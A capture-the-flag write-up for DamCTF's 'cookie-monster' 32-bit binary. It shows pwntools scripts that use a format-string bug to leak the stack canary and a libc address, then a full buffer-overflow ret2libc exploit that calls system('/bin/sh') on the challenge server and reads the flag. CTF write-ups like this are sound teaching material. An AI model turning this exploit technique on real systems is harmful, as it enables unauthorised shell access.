Introduction
This challenge was the first pwn challenge of the CTF
Initial Statement:
Do you like cookies? I like cookies.
nc chals.damctf.xyz 31312
Getting started
First thing I did was download the binary and check protections and try to run it.
$ file cookie-monster
cookie-monster: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=998281a5f422a675de8dde267cefad19a8cef519, not stripped
$ checksec --file=cookie-monster
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 74) Symbols No 0 2 cookie-monster
So we can see it is a x86 binary and it has stack canaries (not so surprising considering the title of the challenge). We can see there is NX so we won't be able to use shellcodes.
At this point we don't know if there is ASLR on the server.
Let's run the binary locally
$ ./cookie_monster
Enter your name: W00dy
Hello W00dy
Welcome to the bakery!
Current menu:
cat: cookies.txt: No such file or directory
What would you like to purchase?
cookies !
Have a nice day!
We can see we're asked a first input and then a second. We're going to disassemble the binary to understand better what it is doing. I will use IDA Pro to achieve this.
Let's start by the main function:
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
bakery(); // This seems like the interesting function.
return 0;
}
This function doesn't do much but calling bakery. Let's dive in.
unsigned int bakery() {
char s[32]; // [esp+Ch] [ebp-2Ch] BYREF
unsigned int v2; // [esp+2Ch] [ebp-Ch]
v2 = __readgsdword(0x14u); // This is the stack canary
printf("Enter your name: ");
fgets(s, 32, stdin); // Taking the first input
printf("Hello ");
printf(s); // Looks like a format string !
puts("Welcome to the bakery!\n\nCurrent menu:");
system("cat cookies.txt");
puts("\nWhat would you like to purchase?");
fgets(s, 64, stdin); // Wait... that's a 32 bytes buffer ??
puts("Have a nice day!");
return __readgsdword(0x14u) ^ v2;
}
So we can quickly identify vulnerabilities.
We have:
- A format string vulnerability in the first input
- A buffer overflow in the second input
Let's see if we can pwn some binaries !
Exploit
Format string and canary leak
First thing to try will be leaking random addresses on the stack. To do so, I often use %p
because it gives a nicely formatted address which makes it easily readable.
$ nc chals.damctf.xyz 31312
Enter your name: %p-%p-%p-%p-%p-%p
Hello 0x20-0xf7f6a5c0-0x8048592-0xf7f6a000-(nil)-0xff8ccbb8
Welcome to the bakery!
Current menu:
Choclate Chip
Snickerdoodle
Oatmeal Rasin
Peanut Butter
Gingersnap
Stack
What would you like to purchase?
Chocolate Chip
Have a nice day!
We can confirm there is a format string vulnerability ! Let's run the same payload.
$ nc chals.damctf.xyz 31312
Enter your name: %p-%p-%p-%p-%p-%p
Hello 0x20-0xf7efc5c0-0x8048592-0xf7efc000-(nil)-0xffceda88
Welcome to the bakery!
Current menu:
Choclate Chip
Snickerdoodle
Oatmeal Rasin
Peanut Butter
Gingersnap
Stack
What would you like to purchase?
Choclate Chip
Have a nice day!
Oh no ! ASLR is enabled... It makes addresses random and complexify exploitation.
Next step will be leaking the stack cookie. To do so, I wrote a tiny script to "bruteforce" the format string until it finds the canary. On x86 architectures, stack canary always end with a null byte, and is randomized at every run, making it easy to recognize.
First, I only need the offset, to avoid spamming the server, I do it locally. I know I could've just looked at the stack while debugging the program, but bruteforcing seemed faster to me.
Here's my script.
from pwn import *
context.log_level = 'error'
for i in range(100):
r = process(b'cookie-monster')
r.recvuntil(b': ')
r.sendline(f"%{i}$p".encode())
line = r.recvline().decode().split()[1]
if line.endswith('00'):
print(i, line)
r.close()
$ python get_canary_offset.py
10 0x2000
15 0xe9de1000
17 0x804a000
55 0x804a000
Canary is at offset 15 !
Buffer overflow and canary bypass
We now have the canary, next step will be overflowing the buffer without triggering the stack smashing protection. We can see using the decompiled code that the buffer is 32 bytes long. Hence the canary should be placed after this buffer. Our payload should looke like this.
+-------------------+--------+----------+--------+----------+
| | | | | Our |
| 32 bytes of junk | canary | padding | ebp | ROPchain |
| | | | | |
+-------------------+--------+----------+--------+----------+
Please note the payload has to be maximum 64 characters long.
Next step will be finding the length of the padding + ebp. To achieve this, I used gdb, placed a 64 long string in the buffer and stepped until I met the stack canary check. At this point, I checked the stack and noted there were 3 addresses before my input.
--- Stack ---------------------------------------------------------------------
0xf2fffd270│+0x0000: 0x00000001 ← $esp
0xffffd274│+0x0004: 0x08048470 → <_start+0> xor ebp, ebp
0xffffd278│+0x0008: 0xffffd2b8 → 0x00616170 ("paa"?)
0xffffd27c│+0x000c: "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
-------------------------------------------------------------------------------
Which mean the padding will be 12 chars.
ROPchain
This step is the step where I struggled the most, mainly because there weren't much useful gadgets. So what I did in the end was leaking the libc and calculating the base of the libc to jump on system("/bin/sh")
.
Leaking the libc
Using the same script as before, after disabling ASLR, I was able to locate libc leaks.
from pwn import *
context.log_level = 'error'
for i in range(100):
r = process(b'cookie-monster')
r.recvuntil(b': ')
r.sendline(f"%{i}$p".encode())
line = r.recvline().decode().split()[1]
if line.startsswith('0xf7'):
print(i, line)
r.close()
$ python leak_libc_addresses.py
2 0xf7f97540
8 0xf7f9000a
11 0xf7e1f6f0
12 0xf7f97540
13 0xf7ffd9b0
16 0xf7f97ce0
I then checked what they were pointing to using
x/i <address>
in gdb
gef➤ x/i 0xf7f97540
0xf7f97540 <_IO_2_1_stdin_>: mov esp,DWORD PTR [eax]
gef➤ x/i 0xf7e1f6f0
0xf7e1f6f0 <setbuf>: endbr32
The second leak was a false positive.
I then used https://libc.blukat.me/ to get the right libc.
Leaking an address from the binary
This was quite easy as we already had offsets of libc addresses in the binary.
%2$p
leaked the address of _IO_2_1_stdin_
Final exploit
from pwn import *
r = remote('chals.damctf.xyz', 31312)
# libc from libc.blukat.me
libc = ELF('libc6-i386_2.27-3ubuntu1.4_amd64.so')
# Cookie leak and libc leak
r.recvuntil(b': ')
r.sendline(b'%15$u-%2$u')
line = r.recvline().decode().split()[1].split('-')
cookie = int(line[0])
stdin_addr = int(line[1])
print(f"Found cookie ! {hex(cookie)}")
print(f"Found stdin address ! {hex(stdin_addr)}")
# Libc base calculation
libc_base = stdin_addr - libc.symbols["_IO_2_1_stdin_"]
print(f"Found libc base address ! {hex(libc_base)}")
# Libc addresses from libc_base and libc
libc_sh = next(libc.search(b"/bin/sh\x00")) + libc_base
libc_system = libc.symbols["system"] + libc_base
print(f"Found libc address ! {hex(libc_sh)}")
print(f"Found system address ! {hex(libc_system)}")
# Final payload
r.recvuntil('?\n')
pld = b'A' * 32
pld += p32(cookie)
pld += b'A' * (48 - len(pld))
pld += p32(libc_system)
pld += b'AAAA'
pld += p32(libc_sh)
r.sendline(pld)
r.interactive() # Interactive shell \o/
And we get the flag executing it !
$ python solve.py
[+] Opening connection to chals.damctf.xyz on port 31312: Done
[*] '/home/woody/Documents/CTF/DAMCTF/pwn/cookie-monster/libc6-i386_2.27-3ubuntu1.4_amd64.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Found cookie ! 0xe756f000
Found stdin address ! 0xf7ed35c0
Found libc base address ! 0xf7cfe000
Found libc address ! 0xf7e7988f
Found system address ! 0xf7d3ae10
[*] Switching to interactive mode
Have a nice day!
$ id
uid=1000(chal) gid=1000(chal) groups=1000(chal)
$ cat flag
dam{s74CK_c00k13S_4r3_d3L1C10Us}